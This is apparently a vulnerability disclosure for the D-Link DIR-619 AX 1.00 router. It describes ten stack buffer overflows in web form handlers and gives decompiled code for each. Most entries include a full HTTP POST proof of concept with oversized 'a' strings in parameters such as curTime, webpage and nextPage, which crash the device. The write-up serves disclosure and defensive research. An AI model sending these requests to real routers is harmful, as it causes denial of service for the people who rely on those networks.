

1. formSetWanNonLogin Buffer Overflow

The main page shown below:

[illegible]

Vulnerability analysis:

The data gets from front-end is processed in the ***formSetWanNonLogin*** function, the ***websGetVar*** function gets the data passed in from the front end, and the ***sprintf*** is used later to directly store the data in the stack buffer. so it will overwrite the normal data in the stack, and that will cause crash.

```
v2 = (const char *)websGetVar(a1, (int)"curTime", (int)&dword_49E474);
v3 = (_BYTE *)websGetVar(a1, (int)"settingschanged", (int)&dword_49E474);
if ( *v3 && atoi(v3) )
    needToReboot = 1;
v4 = websGetVar(a1, (int)"webpage", (int)&dword_49E474);
strcpy(last_url, v4);
sprintf(v54, "%s?t=%s", last_url, v2);
v50 = a1;
v51 = v54;
return websRedirect(v50, v51);
```

2.formSetWanPPPoE Buffer Overflow

DLink DIR-619 AX 1.00 was discovered to contain a stack overflow in the function `formSetWanPPPoE`. This vulnerability allows attackers to cause a Denial of Service (DoS) via the `curTime` parameter.

PoC:

[illegible]

Vulnerability analysis:

Similar to the first one.

```
v2 = (const char *)websGetVar(a1, (int)"curTime", (int)&dword_49E474);
v3 = (_BYTE *)websGetVar(a1, (int)"Settingschanged", (int)&dword_49E474);
if ( *v3 && atoi(v3) )
    needToReboot = 1;
v4 = websGetVar(a1, (int)"webpage", (int)&dword_49E474);
strcpy(last_url, v4);
```

```
    }
}
if ( needToReboot )
    strcpy(&ok_msg, "Setting saved.");
    sprintf(v12, "%s?t=%s", last_url, v2);
    v8 = a1;
    v9 = v12;
```

3. formSetWanPPTP Buffer Overflow

DLink DIR-619 AX 1.00 was discovered to contain a stack overflow in the function formSetWanPPTP. This vulnerability allows attackers to cause a Denial of Service (DoS) via the curTime parameter.

PoC:

```
1 POST /goform/formSetWanPPTP HTTP/1.1
2 Host: 192.168.0.1
3 Content-Length: 423
4 Cache-Control: max-age=0
5 Origin: http://192.168.0.1
6 Upgrade-Insecure-Requests: 1
7 DNT: 1
8 Content-Type: application/x-www-form-urlencoded
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102
  Safari/537.36
10 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
  webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
11 Referer:
  http://192.168.0.1/Basic/Wizard_Easy_Wlan.asp?t=1646185221482&current
12 Accept-Encoding: gzip, deflate
13 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-CN;q=0.7
14 Connection: close
15
16 curTime=
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

Vulnerability analysis:

Similar to the first one.

4.formSetWanL2TP Buffer Overflow

DLink DIR-619 AX 1.00 was discovered to contain a stack overflow in the function formSetWanL2TP. This vulnerability allows attackers to cause a Denial of Service (DoS) via the curTime parameter.

PoC:

```
POST /goform/formSetWanL2TP HTTP/1.1
Host: 192.168.0.1
Content-Length: 423
Cache-Control: max-age=0
Origin: http://192.168.0.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.0.1/Basic/Wizard_Easy_Wlan.asp?t=1646185221482&current
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-CN;q=0.7
Connection: close

curTime=
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

Vulnerability analysis:

Similar to the first one.

5.formSetWanDhcpplus Buffer Overflow

DLink DIR-619 AX 1.00 was discovered to contain a stack overflow in the function formSetWanDhcpplus. This vulnerability allows attackers to cause a Denial of Service (DoS) via the curTime parameter.

PoC:

```
POST /goform/formSetWanDhcpplus HTTP/1.1
Host: 192.168.0.1
Content-Length: 423
Cache-Control: max-age=0
Origin: http://192.168.0.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.0.1/Basic/Wizard_Easy_Wlan.asp?t=1646185221482&current
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-CN;q=0.7
Connection: close

curTime=
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

Vulnerability analysis:

Similar to the first one.

6.formdumpeasysetup Buffer Overflow

DLink DIR-619 AX 1.00 was discovered to contain a stack overflow in the function `formdumpeasysetup`. This vulnerability allows attackers to cause a Denial of Service (DoS) via the ***config.save_network_enabled*** parameter.

PoC:

```
POST /goform/formdumpeasysetup HTTP/1.1
Host: 192.168.0.1
Content-Length: 423
Cache-Control: max-age=0
Origin: http://192.168.0.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.0.1/Basic/Wizard_Easy_Wlan.asp?t=1646185221482&current
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-CN;q=0.7
Connection: close
```

```
config.save_network_enabled=
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```

Vulnerability analysis:

Similar to the first one.

```
v3 = (const char *)websGetVar(a1, (int)"curTime", (int)&dword_4A4324);
v4 = websGetVar(a1, (int)"config.save_network_enabled", (int)&dword_4A4324);
if ( !strcmp(v4, "true") )
    goto LABEL_107;
sprintf(v77, "/tmp/%s", "My_D-Link_Network_Setting.txt");
printf("txt = %s\n", v77);
v5 = open(v77, 770);

sprintf(last_url, "/Basic/Wizard_Easy_complete.asp?t=%s", v3);
sprintf(v91, "/Basic/Wizard_Easy_Connect.asp?t=%s", v4);
return websRedirect(a1, v91);
```

7.formLanguageChange Buffer Overflow

DLink DIR-619 AX 1.00 was discovered to contain a stack overflow in the function `formLanguageChange`. This vulnerability allows attackers to cause a Denial of Service (DoS) via the *nextPage* parameter.

PoC:


```

POST /goform/formLanguageChange HTTP/1.1
Host: 192.168.0.1
Content-Length: 428
Cache-Control: max-age=0
Origin: http://192.168.0.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.0.1/Basic/Wizard_Easy_Wlan.asp?t=1646187615476&current
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-CN;q=0.7
Connection: close

nextPage=
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

```

Vulnerability analysis:

Similar to the first one.

```

v13 = 4;
apmib_set(297, &v13);
v3 = (_BYTE *)websGetVar(a1, (int)"nextPage", (int)&dword_4A0E64);
if (v3)
{
    v4 = strchr(v3, 35);
    if (v4)
    {
        v5 = v4 - (_DWORD)v3;
        strncpy(v11, v3, v4 - (_DWORD)v3);
        v11[v5] = 0;

```

```

    else
    {
        v6 = websGetVar(a1, (int)"currTime", (int)&dword_4A0E64);
        sprintf(v11, "%s?t=%s", v3, v6);
    }
}
else
{

```

8.formWlanSetup Buffer Overflow

DLink DIR-619 AX 1.00 was discovered to contain a stack overflow in the function formWlanSetup. This vulnerability allows attackers to cause a Denial of Service (DoS) via the webpage parameter.

PoC:

```

POST /goform/formWlanSetup HTTP/1.1
Host: 192.168.0.1
Content-Length: 427
Cache-Control: max-age=0
Origin: http://192.168.0.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.0.1/Basic/Wizard_Easy_Wlan.asp?t=1646187992681&current
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-CN;q=0.7
Connection: close

webpage=
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

```

Vulnerability analysis:

Similar to the first one.

```

v3 = websGetVar(a1, (int)"webpage", (int)&dword_4A2C18);
strcpy(last_url, v3);
v4 = (_BYTE *)websGetVar(a1, (int)"settingsChanged", (int)&dword_4A2C18);
if ( *v4 )
    v2 = atoi(v4);
    strcpy(&ok_msg, "Setting saved");
    websRedirect(a1, last_url);
    return websRedirect(a1, v17);
}

```

9.formWlanWizardSetup Buffer Overflow

DLink DIR-619 AX 1.00 was discovered to contain a stack overflow in the function formWlanWizardSetup. This vulnerability allows attackers to cause a Denial of Service (DoS) via the **webpage** parameter.

PoC:


```

1 POST /goform/formWlanWizardSetup HTTP/1.1
2 Host: 192.168.0.1
3 Content-Length: 435
4 Cache-Control: max-age=0
5 Origin: http://192.168.0.1
6 Upgrade-Insecure-Requests: 1
7 DNT: 1
8 Content-Type: application/x-www-form-urlencoded
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
  AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102
  Safari/537.36
0 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
  webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
1 Referer:
  http://192.168.0.1/Basic/Wizard_Easy_Wlan.asp?t=1646189000095&current
2 Accept-Encoding: gzip, deflate
3 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-CN;q=0.7
4 Connection: close
5
6 webpage=
7 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

```

Vulnerability analysis:

The data gets from front-end is processed in the **formWlanWizardSetup** function, the **websGetVar** function gets the data passed in from the front end, and the **strcpy** is used later to directly store the data in the stack buffer. so it will overwrite the normal data in the stack, and that will cause crash.

```

LABEL_134:
    run_init_script("bridge");
    v70 = websGetVar(a1, (int)"webpage", (int)&dword_4A2C18);
    strcpy(last_url, v70);
    sprintf(v71, "%s?%u", "/apply_setting.asp", 25);
    return websRedirect(a1, v71);
}

```

10.formAdvanceSetup Buffer Overflow

DLink DIR-619 AX 1.00 was discovered to contain a stack overflow in the function **formAdvanceSetup**. This vulnerability allows attackers to cause a Denial of Service (DoS) via the **webpage** parameter.

PoC:

```

POST /goform/formAdvanceSetup HTTP/1.1
Host: 192.168.0.1
Content-Length: 272
Cache-Control: max-age=0
Origin: http://192.168.0.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer:
http://192.168.0.1/Basic/Wizard_Easy_Wlan.asp?t=1646190115225&current
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-CN;q=0.7
Connection: close

webpage=
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

```

Vulnerability analysis:

Similar to the former one.

```

v1 = websGetVar(a1, (int)"webpage", (int)&dword_4A2C18);
v3 = 0;
strcpy(last_url, v1);
v4 = (_BYTE *)websGetVar(a1, (int)"settingsChanged", (int)&dword_4A2C18);
if ( *v4 )
    v3 = atoi(v4);
if ( advanceHandler(a1, v9) >= 0 )
{

```

```

    if ( needToReboot )
        strcpy(&ok_msg, "Setting saved.");
    websRedirect(a1, last_url);
    return websRedirect(a1, v10);
}

```